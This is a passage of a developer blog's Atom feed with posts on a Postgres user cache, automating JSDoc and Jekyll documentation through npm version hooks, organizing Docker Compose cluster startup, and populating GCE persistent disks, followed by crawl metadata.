If we add a new realm and its foreign table, or if information inside an existing realm changes (such as if we see a previously-unknown user try to login), we can REFRESH MATERIALIZED VIEW CONCURRENTLY cached_users; to.... refresh the cache. The CONCURRENTLY means it happens in the background, so SELECTs happening while the data is being retrieved see the old version. It's not staying as close to realtime as possible; we could do that with cron or a systemd timer if we really wanted to, but for our purposes refreshing on new organizations being created or unknown users authenticating suffices.
Wrap-up
Overall this has added some complexity to our database setup. We're no longer running stock Postgres since both Multicorn and foreign-keycloak-wrapper must be installed. Discrepancies between Python versions bundled with Postgres on various operating systems have also caused some issues -- universally resolved with a careful inspection of the Postgres configuration and the install logs, but annoying. Docker's taken some of the pain out of that, since we can ship an image with everything ready to go and use volumes to persist data.
Lastly, realms have to be created in Keycloak before we can do anything with them, so there are more moving parts to keep track of. Oh well; we have our unified user cache so the application logic stays simple, and that's all we wanted out of it. SSO is supposed to make life easier for users, not necessarily for architects!
]]>
https://di.nmfay.com/postgres-user-cache https://di.nmfay.com/postgres-user-cache Sun, 10 Dec 2017 00:00:00 GMT
<![CDATA[Automate Your Way to Self-Assembling Documentation]]> Documentation is what makes it possible for people to use your software without having to put in almost as much work to understand it as you did to write it. It's also one of the dreariest chores of maintaining code, the kind of housekeeping work programmers are notoriously averse to. I'm no exception to that rule, but at the same time I run a moderately popular library, Massive.js, which absolutely needs docs if it's to be useful to anyone else on the planet. So in the spirit of Larry Wall's first virtue, I've gone to considerable lengths to do as little as possible about it.
What is Documentation?
Documentation has taken many forms over the years, from actual dead-tree books to man pages to API documentation sites generated from specially formatted comments and everything in between. There are various advantages and disadvantages to each: anything else beats the book in terms of searchability, but if you need a more structured introduction to something, or are working behind an air gap, books absolutely have their place. Format is something of an independent concern.
A more important question is: what makes documentation good? This is naturally subjective, but a few basic principles make sense:
• Good documentation is current: new features and changes are documented at the time they're integrated, and documentation for the latest release is always up-to-date
• Good documentation is complete: it covers every notable API function, configuration setting, option, and gotcha in the system that end users can expect to deal with
• Good documentation is readable, even -- especially -- for people with limited experience (they need it more than the experts will!)
• Good documentation takes as little time and effort to maintain without sacrificing too much of the above three as possible
Since the only ways to get Massive are from npm or from GitHub, it's a fairly safe assumption that anyone who needs the documentation will be online. This makes things easier: I can provide documentation as a static site. By "static", I don't mean that it's eternally unchanging, but that it's just plain HTML and CSS, maybe a little JavaScript to liven things up a bit. There's no database, no backend API, no server-side processing.
Full Automation
The absolute easiest way to get something up is to use a documentation generator. These have been around for ages; perldoc and JavaDoc are probably the best-known, but JSDoc has existed for almost 20 years too. With it, I can decorate every function and module with a comment block containing detailed usage information, then run a program which assembles those blocks into a static website.
The JSDoc comment blocks, like JavaDoc, are indicated by a /** header. This one shows a function, with @param and @return tags indicating its arguments and return value respectively. Other tags cover attributes of modules and classes, or provide hints for the JSDoc compiler to change how it organizes pages (distinguishing entities can be tricky in a language like JavaScript!).
/**
* Perform a full-text search on queryable fields. If options.document is true,
* looks in the document body fields instead of the table columns.
*
* @param {Object} plan - Search definition.
* @param {Array} plan.fields - List of the fields to search.
* @param {String} plan.term - Search term.
* @param {Object} [options] - {@link https://massivejs.org/docs/options-objects|Select options}.
* @return {Promise} An array containing any query results.
*/
Queryable.prototype.search = function (plan, options = {}) {
I don't need a complicated .jsdoc.json config for this:
{
"source": {
"include": ["index.js", "lib", "README.md"]
},
"opts": {
"recurse": true
}
}
All that's left is to add a script in my package.json to run JSDoc:
"docs": "rm -rf ./docs/api && jsdoc -d ./docs/api -c ./.jsdoc.json -r"
Now npm run docs generates a fresh API documentation site -- all I have to do is keep my comment blocks up to date and remember to run it!
There are two problems with this picture:
First, that particular bit of documentation raises as many questions as it answers. What are document body fields? I'm just assuming people know what those are. And the description of the options object is -- well, that's getting a bit ahead of myself. Queryable.search doesn't exist in a void: in order to understand what that function does, a developer needs to understand what the options object can do and what documents and their body fields are. That's a lot to dump into a single JSDoc comment. Especially when you consider that the options object applies to most of Massive's data access functions, many of which concern documents! Clearly, I need a second level of documentation which serves as a conceptual rather than a purely technical reference. But: I can't generate something like that automatically.
Second, I have to remember to run it. It's a one-line shell script. I shouldn't have to remember to run it. Let's get that one out of the way first:
Lifecycle Events
Several npm tasks provide hooks for you to execute scripts from your package.json before or after execution. Some, like npm test, require you to implement the task itself as a script. One such task with hooks is npm version. The preversion script executes before it bumps the version number; the version script executes after the bump, but before it commits the changed package definition into source control; and the postversion script executes after the commit.
I really only have to make sure the API documentation is up to date when I'm releasing a new version. Running JSDoc in preversion is perfect. If I want to keep the documentation update separate from the version bump, I can just put together a shell script that runs in the hook:
#!/bin/bash
echo "regenerating API docs"
npm run docs
echo "committing updated API docs"
git add docs/api
git commit -m "regenerate api docs"
Conceptual Reference: Jekyll and GitHub Pages
JSDoc is a great tool, but it can't introduce and connect the concepts users need to understand in order to work with Massive. The only way that's happening is if I write it myself, but I don't want to write raw HTML when I could work with the much more friendly Markdown instead. Fortunately, there's no shortage of static site generators which can convert Markdown to HTML. I use Fledermaus for my blog. Or I could use ReadTheDocs, a documentation-focused generator as a service, again. That's where the legacy docs are already hosted. But it's pretty much just me on Massive, so I want to centralize. GitHub Pages uses Jekyll; that makes that an easy decision.
I think the hardest part of using Jekyll is deciding on a theme. Other than that, the _config.yml is pretty basic, and once I figure out I can customize the layout by copying the theme's base to my own _layouts/default.html and get the path to my stylesheet straightened out all that's left is writing the content.
Pages in a Jekyll site, like articles on dev.to and (probably) other platforms, are Markdown files with an optional "front matter" section at the top of the file (the front matter is required for blog posts).
Seeing what the documentation looks like locally takes a few steps:
1. Install Ruby via package manager
2. gem install bundler
3. Create a Gemfile which pulls in the github-pages Ruby gem
4. bundle install
5. Then, unless I add more dependencies to the Gemfile, I can bundle exec jekyll serve and point my browser to the local address Jekyll is running on
At this point, I have a docs/ directory in my working tree:
docs
├── api # JSDoc output
├── assets
│ └── css
│ └── style.scss # Jekyll handles processing SCSS
├── _config.yml # Main Jekyll config
├── Gemfile # Jekyll dependency management
├── Gemfile.lock # Auto-generated Jekyll dependency manifest
├── index.md # Documentation landing page
├── _layouts
│ └── default.html # Customized HTML layout template
├── some-docs.md # Some documentation!
└── _site # Jekyll output (this is .gitignored)
GitHub Pages can host an entire repository from the master branch, a docs directory in master, or a separate gh-pages branch. While I do have a docs directory, I don't want my documentation to update every time I land a commit on master. Massive's docs need to be current for the version of the library people get from npm install, not for every little change I make. So I create a gh-pages branch, clean it out, and copy my docs directory into the root (minus _site since GitHub Pages runs Jekyll itself). The JSDoc output is included so the static site is complete, containing both the conceptual and the technical references.
After pushing and a bit of trial and error, I have the site up and working! But I really, really don't want to have to do all this manually every time I cut a release.
Automating Documentation Management
My script for the preversion lifecycle event lets me basically ignore the JSDoc as long as I keep it up to date. If I can script out the steps to update the gh-pages branch, I can use another lifecycle event to take the work out of managing the rest of it. Since everything's happening in another branch, kicking off after the version bump with postversion is sufficient.
First things first: what version am I updating the docs for? That information is in a couple of places: I could look for the latest git tag, or I could pull it out of package.json. Which to use is mostly a matter of taste. I'm pretty familiar with jq (think sed for JSON), so I go with that over git describe:
type jq >/dev/null 2>&1 && { VERSION=$(jq .version package.json); } || exit 1
This line first ensures that jq exists on the system. If it does, it sets the VERSION variable to the version field in package.json; otherwise, it aborts with a failing error code to stop execution.
The next step is to get the current branch name and the commit SHA for the version bump:
BRANCH=$(git symbolic-ref --short HEAD)
COMMIT=$(git rev-parse --short "$BRANCH")
Then, it's time to git checkout gh-pages and get to work. I want to make sure no old files are present in the working tree, but I do have a customized .gitignore that I need to keep.
git clean -dfqx
git ls-tree --name-only gh-pages | grep -v "\(.gitignore\)" | xargs -I {} rm -r {}
git clean deletes all untracked files from the working tree. Then I git ls-tree the branch's root directory, perform an inverse grep to filter out my .gitignore, and pass every other file in it into rm -r with xargs. At the end of this, the working tree should be completely empty except for the .gitignore. Now to pull the up-to-date documentation over from the original branch:
git checkout "$BRANCH" -- docs
mv docs/* .
rm -r docs
Fairly straightforward: it checks out only the docs directory, moves its contents into the working tree root, and cleans up the now-empty directory. This is the home stretch.
git add .
git commit -m "regenerate documentation for $VERSION ($BRANCH $COMMIT)"
git checkout "$BRANCH"
Add the files, commit them with the new version number and source commit information. Then with that all done, checkout the original branch again. I could push gh-pages, but I'm a little paranoid about automating uploads, so my script just echoes a reminder to do that manually.
This all goes in another shell script and then I just have to make sure that that script runs on postversion!
Start to Finish
Now, when I npm version to create a new release of Massive, my scripts fire on the lifecycle events. The preversion script updates my API documentation and commits it before anything else happens. The standard version functionality takes over at that point, setting the new version in package.json, committing the change, and tagging it with the new version. Finally, my postversion script assembles the latest documentation and commits it to the gh-pages branch. The only thing left for me to do manually is to push that branch along with master and the new tag. As long as I keep my JSDoc comments and reference documentation up to date, the rest of it takes care of itself!
]]>
https://di.nmfay.com/automate-documentation https://di.nmfay.com/automate-documentation Fri, 01 Dec 2017 00:00:00 GMT
<![CDATA[Cluster Organization in Docker Compose]]> I'll make a long story short here: this time last year, I knew nothing about containers or orchestration save that Vagrant had sounded like a cool idea but hadn't done much for me in practice. But we had an architect who did know more, and who set up our applications with a really quite fancy Kubernetes- and Docker-based build and deploy system (more on that some other time, perhaps). Our dev and QA environments became Kubernetes clusters, I started learning how it all worked, things were good. Then he moved on, making myself and one other coworker who knew around as much as I did the de facto experts on everything cloud here. Oops.
One thing neither the architect nor I had anticipated was that many of our enterprise clients turned out not to be on board with Kubernetes. At all. Some of them aren't even comfortable with Docker period, but there's not much to do on that count except wait. For the rest, we decided that orchestration made things so much easier we were going to do it wherever we could get away with it, so we needed to have Docker Compose definitions ready to go.
I did inherit some basic Compose configs, but they were badly out of date; in the interim, we'd added a couple of Postgres extensions, integrated a single sign-on service, done a bunch of restructuring -- you know how it goes. So I wound up going back to the drawing board for all the most complicated bits. And in the process I found out that there were some things I'd taken for granted with Kubernetes that I couldn't with Compose.
A Rocky Start
Like jobs. I was about to miss jobs a lot.
In Kubernetes, jobs let you run one-off tasks. We use this functionality to stand up the database, run migrations, and seed initial data for the dev environment since we regenerate that every day. It works alright: deployment pods bounce off until the database comes up initialized. If something unexpected happens, kill the pod and Kubernetes starts another for you. So far, so good.
Docker Compose doesn't do that. In Docker Compose, things that start up are supposed to stay up, or be replaced if they don't stay up. This was a problem. I was looking for a way to issue a single docker-compose up and have a brand new cluster with all the complicated once-off init stuff done for me. It'd be easy to expand the application server image entrypoint to do all the initialization, but each cluster runs two or three of those behind a load balancer, so just doing that could have inconsistent results from the spinup code firing multiple times.
Broken down, here's everything that needs to happen between the application services and the database when the cluster comes up, in order:
1. If Postgres isn't running yet, don't start any app services.
2. If the application database roles do not exist, create them.
3. If the application database does not exist, create it.
4. Deploy any outstanding migration scripts to the database.
5. If the database infrastructure for single sign-on does not exist, create it.
6. Deploy any new content to the database.
7. Update the locale files for new content in each application container.
8. Apply configuration to each application container.
9. Start the application services.
Everything up through #6 needs to happen once and only once. But with Docker Compose, we don't have one-offs. So it all has to go in the entrypoint script, or near enough; we just have to make sure only one of the application services can execute the sensitive parts, and that its peers wait for that to happen before they spin up.
Scheduling Startup
The first problem to solve is making sure nothing tries to come up until the database is there. With Kubernetes, we use init containers for this: both the setup job and the application server deployment declare an init container which tries to select 1 every few seconds until it succeeds. Docker Compose doesn't have anything like that to my knowledge; the most it does is generate a dependency graph from your links and depends_on and a couple other service attributes. This ensures that services are started in a particular order, but since Postgres takes a couple seconds to come up the dependent containers could in fact finish their startup before it's ready.
The way to ensure nothing tries to talk to Postgres until it's good and ready is to wrap the startup command. The Docker Compose documentation recommends a few options; I went with wait-for-it. It looks like this in the Compose config:
entrypoint: ["./wait-for-it.sh", "postgres:5432", "--", "bash", "./entrypoint.sh"]
Our entrypoint.sh is not run unless and until the Postgres container starts listening on its default port 5432. That's great, but there's one other thing that makes this really useful: since we already have multiple application services defined (Swarm isn't guaranteed so we can't set replicated mode), we can pick one of those to wait for Postgres to come up, and have the rest wait for it to come up in turn. That's our init container.
Secrets
At this point we can ensure that nothing that depends on the database will start up before the database is ready, and that one of our app services will always finish its startup before any others begin theirs. What we need now is a way to distinguish that service from the others so it can execute our once-only tasks. That's where secrets come in.
Secrets are basically the same concept between Kubernetes and Docker Compose: files containing sensitive data which get loaded onto nodes and mounted to the container filesystem. It's more secure than using environment variables. Secrets are defined as a top-level block in the compose config:
secrets:
db_owner_password:
file: ./secrets/db_owner_password.txt
And then attached to each service definition:
appserver:
image: myimage
links:
- postgres
secrets:
- db_owner_password
entrypoint: ["./wait-for-it.sh", "postgres:5432", "--", "bash", "./entrypoint.sh"]
The dependent application services don't need the db_owner_password; that's only required to initialize the database. So we can test for the presence of the secret in our entrypoint script, and kick all that off only if it's present:
if [ -a /run/secrets/db_owner_password ]; then
# check and create the application roles and database, then run the migrations
fi
Now the appserver service is unique, and we've restricted the ability to stage the database to it. We can't be completely careless -- if appserver blindly emits a createdb every time it starts, it'll fail with a "database already exists" error every time after the first -- but since we've guaranteed there will only ever be one container trying to create the database at a time, we can simply check up front.
That leaves the shared configuration and content, which together are more than secrets are meant to deal with.
Volumes
Mounting information from the host system into containers is a pretty general use case. Secrets cover a specific subset of this. For everything else, there's volumes (and again, Kubernetes' version of the concept is a pretty close analogue). Since volumes can be much larger than secrets, they aren't automatically shared across nodes; you have to create a named volume explicitly, and use a driver which is multi-host aware.
Declare named volumes for config and content:
volumes:
app_conf:
driver: local # this is obviously not multi-host aware, but it's good enough for testing
app_content:
driver: local
Then in the appserver service definition, add a volumes block:
volumes:
- app_conf:/home/appserver/app/conf
- app_content:/home/appserver/app/content
Docker Compose will create the volumes if they do not exist, or you can docker volume create them ahead of time. Better to do the latter, since otherwise the first time you bring up the cluster everything will die horribly since the volumes are empty. If you create them manually, you can docker volume inspect them, find the mountpoint on the host system, and copy the instance configuration and content in before you start spinning things up.
One caveat: the names app_conf and app_content are not actually the names Docker Compose looks for. Compose prepends docker_ to the names you supply, so the volumes should be named docker_app_conf and docker_app_content.
The End
Start to finish, it took me a few weeks to get my first real Compose cluster set up. It's rough getting started, even though the Docker and Compose documentation is quite good; it's a lot to wrap your head around, and there are a lot of concepts you really just have to sort of brute force your way into understanding. I had a lot of other stuff on my plate at the time (still do!), which certainly didn't help matters either.
The good news is, yesterday I had to set up another app with a similar Compose configuration from scratch. This time, I had it up and running within a couple hours. Once you've got the structure down and understand how the pieces fit together it's a lot more manageable.
]]>
https://di.nmfay.com/docker-compose https://di.nmfay.com/docker-compose Wed, 22 Nov 2017 00:00:00 GMT
<![CDATA[Populating GCE Persistent Disks]]> This is one of those things I didn't expect to be quite this involved and couldn't find a step-by-step guide for. I just want to allocate a disk out there in The Cloud and put something on it, right? The idea being that then I spin up a cluster and my fancy application server container startup script pulls that static data off the disk and performs whatever initialization is required. It doesn't sound especially complicated.
But as yet, there's no "upload some stuff" button in the Google Cloud Engine console, and gcloud compute scp only works for VM instances. There's nothing sitting in front of a Persistent Disk that will just pull your data into it. So, you have to create one:
1. Spin up a new VM instance in the Compute Engine screens. You'll need to be an iam.serviceAccountUser for the project.
2. Once it's running, log in:
gcloud compute --project "my-project" ssh --zone "us-central1-b" "my-new-instance"
3. lsblk shows devices as usual. Find yours. Now format it (assuming it's a new disk):
sudo mkfs.ext4 -m 0 -F -E lazy_itable_init=0,lazy_journal_init=0,discard /dev/sdwhatever
4. Create a mountpoint directory and sudo mount -o discard,defaults /dev/sdwhatever /mnt/my-mount-point.
5. gcloud compute scp local-file my-new-instance:remote-file. You may have to get detailed with --zone flags if GCE can't determine which instance you're talking about.
6. Remember to clean up after yourself and umount the mountpoint!
Delete the instance from the VM Instances page. A GCE Persistent Disk can't be attached in read/write mode to more than one instance or container, also something to be mindful of if you're adding it to a deployment with multiple replicas.
]]>
https://di.nmfay.com/populating-gce-disk https://di.nmfay.com/populating-gce-disk Tue, 14 Nov 2017 00:00:00 GMT | {
"url": "https://di.nmfay.com/atom.xml",
"source_domain": "di.nmfay.com",
"snapshot_id": "crawl=CC-MAIN-2022-05",
"warc_metadata": {
"Content-Length": "221091",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:E4RONXEGJFDCV45HSNOODNDYSOESXBGE",
"WARC-Concurrent-To": "<urn:uuid:7de42e7d-86b8-4544-a861-a3c7f7fc02c3>",
"WARC-Date": "2022-01-22T19:49:14Z",
"WARC-IP-Address": "198.54.115.214",
"WARC-Identified-Payload-Type": "application/rss+xml",
"WARC-Payload-Digest": "sha1:ALHY34L7WI7CKQOYWEEIBYQ2VKSU4Q5N",
"WARC-Record-ID": "<urn:uuid:08bb2736-16a4-453b-a390-03dcc27d3014>",
"WARC-Target-URI": "https://di.nmfay.com/atom.xml",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ea6a3070-c3b5-4dd2-9e52-f5694c2270ab>"
},
"warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-78\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
198,
199,
869,
870,
1253,
1254,
1894,
1895,
1977,
1978,
2432,
2433,
2836,
2837,
3213,
3214,
3559,
3560,
4052,
4053,
4633,
4634,
4997,
4998,
5739,
5740,
6154,
6155,
6170,
6226,
6291,
6303,
6367,
6369,
6438,
6464,
6465,
7031,
7032,
7969,
7970,
7974,
8104,
8367,
8368,
8530,
8531,
8877,
8878,
8912,
8913,
9164,
9165,
9468,
9469,
9561,
9562,
9574,
9575,
9954,
9955,
10157,
10158,
10220,
10221,
10284,
10313,
10317,
10399,
11211,
11212,
11250,
11251,
11567,
11568,
11625,
11626,
12152,
12153,
13046,
13047,
13637,
13638,
14400,
14401,
14792,
14793,
14820,
14821,
15460,
15461,
16229,
16230,
16901,
16902,
17129,
17130,
17391,
17392,
18351,
18352,
19060,
19061,
19114,
19175,
19256,
19343,
19417,
19430,
19515,
19576,
19660,
19742,
19823,
19902,
19963,
20044,
20116,
20165,
20225,
20259,
20260,
20719,
20720,
20725,
20726,
21523,
21524,
22118,
22119,
22123,
22205,
22445,
22446,
22775,
22776,
23138,
23139,
23289,
23290,
23345,
23356,
23384,
23404,
23430,
23466,
23499,
23516,
23523,
23546,
23572,
23599,
23640,
23646,
23650,
23660,
23675,
23712,
23716,
23717,
23769,
23770,
23786,
23787,
23790,
23801,
23836,
23853,
23867,
23899,
23912,
23933,
23961,
23987,
24002,
24031,
24038,
24043,
24048,
24059,
24099,
24116,
24130,
24162,
24175,
24196,
24224,
24250,
24265,
24296,
24303,
24310,
24342,
24355,
24376,
24409,
24435,
24440,
24443,
24444,
24808,
24809,
25318,
25319,
25736,
25737,
25764,
25765,
26477,
26478,
27381,
27382,
28120,
28121,
28985,
28986,
29006,
29007,
29540,
29541,
30090,
30091,
30445,
30446,
30818,
30819,
31112,
31113,
31168,
31221,
31222,
31278,
31300,
31353,
31389,
31404,
31416,
31443,
31485,
31520,
31527,
31554,
31604,
31633,
31638,
31642,
31643,
31697,
31747,
31800,
31836,
31841,
31860,
31864,
31865,
31920,
31970,
32023,
32027,
32028,
32040,
32041,
32228,
32229,
32268,
32308,
32557,
32661,
32890,
32891,
33402,
33403,
33848,
33849,
33853,
33955,
34254,
34255,
35042,
35043,
35568,
35569,
35594,
35595,
35823,
35824,
36005,
36006,
36036,
36037,
36053,
36117,
36137,
36166,
36183,
36200,
36214,
36227,
36228,
36247,
36248,
36749,
36750,
36766,
36783,
36804,
36831,
36848,
36869,
36896,
36913,
36934,
36935,
37584,
37585,
37601,
37602,
38033,
38034,
38058,
38059,
38273,
38274,
38280,
38297,
38322,
38346,
38357,
38373,
38374,
38413,
38414,
38559,
38560,
38568,
38583,
38604,
38605,
38643,
38644,
39145,
39146,
39162,
39191,
39218,
39271,
39285,
39314,
39386,
39387,
39412,
39413,
39753,
39754,
39760,
39771,
39786,
39799,
39814,
39835,
39838,
39850,
39890,
39941,
40077,
40164,
40222,
40223,
40253,
40254,
40546,
40547,
40558,
40578,
40609,
40650,
40681,
40693,
40748,
40802,
40803,
41416,
41417,
41608,
41609,
41647,
41648,
41700,
41701,
41800,
41801,
41821,
41822,
42106,
42107,
42140,
42141,
42764,
42765,
42776,
42786,
42800,
42801,
42830,
42831,
42983,
42984,
43048,
43049,
43148,
43149,
43177,
43178,
43530,
43531,
43586,
43587,
43615,
43708,
43762,
43877,
44001,
44078,
44166,
44270,
44330,
44331,
44337,
44353,
44354,
44365,
44383,
44413,
44447,
44448,
44462,
44477,
44495,
44519,
44554,
44602,
44619,
44632,
44633,
44653,
44654,
44670,
44685,
44710,
44736,
44760,
44761,
44780,
44799,
44814,
44858,
44910,
44952,
45023,
45036,
45037,
45058,
45089,
45105,
45178,
45200,
45221,
45243,
45266,
45282,
45283,
45312,
45354,
45412,
45428,
45443,
45467,
45492,
45588,
45610,
45633,
45649,
45662,
45663,
45680,
45700,
45718,
45740,
45763,
45779,
45780,
45795,
45834,
45850,
45905,
45922,
45940,
45956,
45957,
45993,
45994,
46213,
46214,
46226,
46227,
46246,
46266,
46332,
46333,
46358,
46360,
46361,
46382,
46441,
46501,
46502,
46519,
46520,
46529,
46532,
46533,
46556,
46671,
46727,
46779,
46780,
46822,
46868,
46883,
46884,
46907,
46936,
46937,
46953,
47025,
47066,
47067,
47395,
47396,
47439,
47440,
47728,
47729,
47736,
47781,
47823,
47864,
47902,
47903,
47913,
47926,
47941,
47957,
48052,
48071,
48088,
48110,
48127,
48128,
48138,
48165,
48166,
48213,
48214,
48461,
48462,
48600,
48601,
48663,
48690,
48856,
48883,
48919,
48934,
48947,
48948,
49031,
49032,
49047,
49113,
49131,
49187,
49188,
49614,
49615,
49652,
49736,
49770,
49858,
49859,
49964,
49965,
50007,
50011,
50055,
50059,
50107,
50108,
50172,
50173,
50244,
50245,
50317,
50318,
50328,
50329,
50657,
50658,
50683,
50684,
50690,
50711,
50733,
50751,
50768,
50783,
50802,
50818,
50819,
50828,
50829,
50902,
50903,
50948,
50949,
50962,
50963,
51018,
51022,
51136,
52107,
52108,
52755,
52756,
53245,
53246,
53265,
53297,
53298,
53364,
53397,
53398,
53419,
53433,
53434,
53452,
53526,
53527,
53547,
53570,
53660,
53661,
53676,
53761,
53762,
53783,
53852,
53918,
54007,
54008,
54036,
54099,
54161,
54249,
54290,
54291,
54688,
54689,
54726,
54727,
54822,
54895,
55002,
55003,
55064,
55065,
55395,
55517,
55518,
55909,
55910,
55914,
56032,
56256,
56257,
56626,
56627,
56924,
56925,
57513,
57514,
58037,
58038,
58465,
58466,
58863,
58864,
58900,
58901,
59214,
59215,
59801,
59802,
60211,
60212,
60646,
60647,
60722,
60723,
60740,
60759,
60778,
60797,
60798,
61406,
61407,
61602,
61603,
61690,
61789,
61826,
61892,
61893,
61900,
61901,
62007,
62008,
62774,
62775,
62779,
62877,
62940,
62941,
63110,
63111,
63477,
63478,
63900,
63901,
64284,
64285,
64289,
64385,
64722,
64723,
65573,
65574,
66068,
66069,
66400,
66401,
67059,
67060,
67669,
67670,
68338,
68339,
68668,
68669,
68673,
68757,
69171,
69172,
69532,
69533,
69888,
69889,
70149,
70150,
70535,
70536,
70652,
70653,
70698,
70726,
70741,
70770,
70787,
70788,
70973,
70974,
70994,
70995,
71026,
71027,
71559,
71560,
71584,
71585,
71797,
71798,
72044,
72045,
72056,
72057,
72298,
72299,
72325,
72326,
72442,
72443,
72466,
72467,
72911,
72912,
72926,
72927,
73140,
73141,
73145,
73231,
73589,
73590,
73745,
73746,
74038,
74039,
74830,
74831,
75013,
75014,
75023,
75024,
75255,
75256,
75267,
75280,
75300,
75310,
75324,
75340,
75360,
75380,
75399,
75421,
75461,
75478,
75498,
75518,
75537,
75559,
75591,
75592,
75603,
75604,
75689,
75690,
75697,
75710,
75729,
75741,
75790,
75860,
75885,
75912,
75928,
75941,
75957,
76009,
76035,
76053,
76054,
76509,
76510,
76521,
76522,
76529,
76551,
76563,
76572,
76606,
76632,
76633,
76895,
76896,
77175,
77176,
77306,
77307,
77327,
77328,
77877,
77878,
77952,
77953,
77960,
77973,
77982,
78010,
78027,
78078,
78135,
78205,
78279,
78327,
78381,
78382,
78433,
78493,
78494,
78533,
78612,
78613,
78633,
78679,
78740,
78741,
78766,
78790,
78836,
78867,
78868,
78905,
78933,
78969,
79007,
79008,
79049,
79110,
79171,
79211,
79266,
79267,
79302,
79330,
79366,
79445,
79469,
79529,
79560,
79561,
79595,
79628,
79629,
79834,
79835,
79859,
79860,
79903,
79952,
80014,
80080,
80120,
80166,
80167,
80500,
80501,
80841,
80842,
80858,
80859,
80902,
80954,
80955,
80986,
81057,
81058,
81397,
81398,
81670,
81671,
81680,
81681,
81693,
81731,
81784,
81785,
81802,
81818,
81856,
81879,
81880,
81909,
81929,
81957,
81987,
81988,
82189,
82190,
82430,
82431,
82442,
82443,
82737,
82738,
82771,
82824,
82877,
82909,
82956,
82957,
83359,
83360,
83387,
83407,
83435,
83506,
83522,
83574,
83597,
83598,
83868,
83869,
83895,
83920,
83921,
84310,
84311,
84326,
84327,
84351,
84375,
84376,
84824,
84825,
84829,
84945,
85193,
85194,
85767,
85768,
86097,
86098,
86401,
86402,
86416,
86417,
86756,
86757,
86774,
86775,
87074,
87075,
87165,
87166,
87175,
87194,
87234,
87235,
87361,
87362,
87384,
87385,
87934,
87935,
88163,
88164,
88182,
88183,
88834,
88835,
88886,
88887,
88906,
88907,
89181,
89182,
89301,
89302,
89320,
89321,
89840,
89841,
89924,
89925,
89944,
89945,
90327,
90328,
90618,
90619,
90655,
90656,
91111,
91112,
91219,
91220,
91237,
91238,
91825,
91826,
91832,
91833,
92124,
92125,
92134,
92135,
92389,
92390,
92421,
92422,
92442,
92443,
92862,
92863,
93229,
93230,
93696,
93697,
94068,
94069,
94076,
94077,
94539,
94540,
94605,
94606,
94624,
94625,
95080,
95081,
95293,
95294,
95300,
95301,
95728,
95729,
96047,
96048,
96062,
96063,
96547,
96548,
96558,
96559,
96948,
96949,
97281,
97282,
97310,
97311,
97335,
97362,
97375,
97376,
97389,
97402,
97414,
97425,
97434,
97435,
97694,
97695,
97861,
97862,
97887,
97888,
98022,
98023,
98045,
98099,
98117,
98163,
98199,
98218,
98249,
98276,
98295,
98327,
98329,
98350,
98391,
98433,
98449,
98496,
98541,
98581,
98609,
98610,
98989,
98990,
99279,
99280,
99295,
99328,
99359,
99374,
99391,
99403,
99420,
99453,
99455,
99510,
99542,
99552,
99575,
99576,
99584,
99585,
99791,
99792,
100113,
100114,
100128,
100129,
100484,
100485,
100528,
100529,
100610,
100611,
100634,
100644,
100696,
100697,
100718,
100739,
100757,
100775,
100795,
100804,
100805,
100892,
100893,
100947,
100948,
100989,
100996,
101019,
101043,
101044,
101057,
101078,
101126,
101127,
101145,
101163,
101180,
101197,
101214,
101231,
101248,
101265,
101274,
101275,
101410,
101411,
101439,
101440,
101708,
101709,
101722,
101723,
101744,
101745,
101833,
101834,
102197,
102458,
102715,
102716,
102738,
102739,
102884,
102885,
102898,
102899,
103261,
103262,
103288,
103289,
103574,
103575,
103601,
103602,
103611,
103612,
103971,
103972,
103976,
104084,
104855,
104856,
105314,
105315,
105977,
105978,
106015,
106016,
106604,
106605,
107048,
107049,
107731,
107732,
107890,
107891,
107920,
107921,
108235,
108236,
108494,
108495,
108537,
108538,
108560,
108625,
108628,
108629,
108919,
108920,
109132,
109133,
109251,
109383,
109490,
109491,
109740,
109741,
109756,
109757,
110318,
110319,
110739,
110740,
111182,
111183,
111278,
111279,
111564,
111565,
111585,
111586,
112164,
112165,
112555,
112556,
112585,
112586,
113307,
113308,
113417,
113418,
113442,
113443,
113484,
113485,
114048,
114049,
114053,
114054,
114382,
114383,
114679,
114680,
114684,
114796,
115122,
115123,
115204,
115253,
115270,
115306,
115350,
115394,
115411,
115412,
115444,
115445,
115559,
115673,
115782,
115883,
115996,
116097,
116210,
116321,
116424,
116528,
116629,
116742,
116743,
117321,
117322,
117347,
117367,
117398,
117418,
117437,
117467,
117498,
117517,
117536,
117553,
117574,
117592,
117614,
117634,
117649,
117676,
117707,
117726,
117744,
117773,
117802,
117803,
118533,
118534,
119085,
119086,
119115,
119116,
119499,
119500,
120526,
120527,
121158,
121159,
121185,
121186,
121188,
121202,
121242,
121255,
121276,
121347,
121366,
121385,
121412,
121477,
121497,
121503,
121507,
121509,
121510,
122122,
122123,
122147,
122148,
122761,
122762,
123199,
123200,
123207,
123216,
123229,
123260,
123281,
123296,
123309,
123326,
123352,
123374,
123397,
123414,
123435,
123476,
123489,
123506,
123527,
123556,
123569,
123586,
123607,
123644,
123656,
123666,
123674,
123680,
123684,
123686,
123687,
124038,
124039,
124049,
124050,
124528,
124529,
124792,
124793,
125310,
125311,
125326,
125327,
125334,
125338,
125351,
125387,
125408,
125425,
125440,
125469,
125489,
125512,
125529,
125554,
125564,
125573,
125588,
125617,
125637,
125660,
125677,
125714,
125724,
125733,
125748,
125787,
125807,
125830,
125847,
125884,
125895,
125912,
125937,
125947,
125955,
125960,
125966,
125967,
126532,
126533,
126537,
126637,
127148,
127149,
127696,
127697,
128340,
128341,
128378,
128379,
128544,
128921,
129198,
129544,
129545,
129578,
129579,
129955,
129956,
130462,
130463,
130956,
130957,
130974,
130975,
131565,
131566,
132023,
132024,
132063,
132064,
132592,
132593,
132978,
132979,
133090,
133091,
133125,
133126,
133667,
133668,
134207,
134208,
134265,
134266,
134893,
134894,
135235,
135236,
135511,
135512,
135516,
135622,
135969,
135970,
136003,
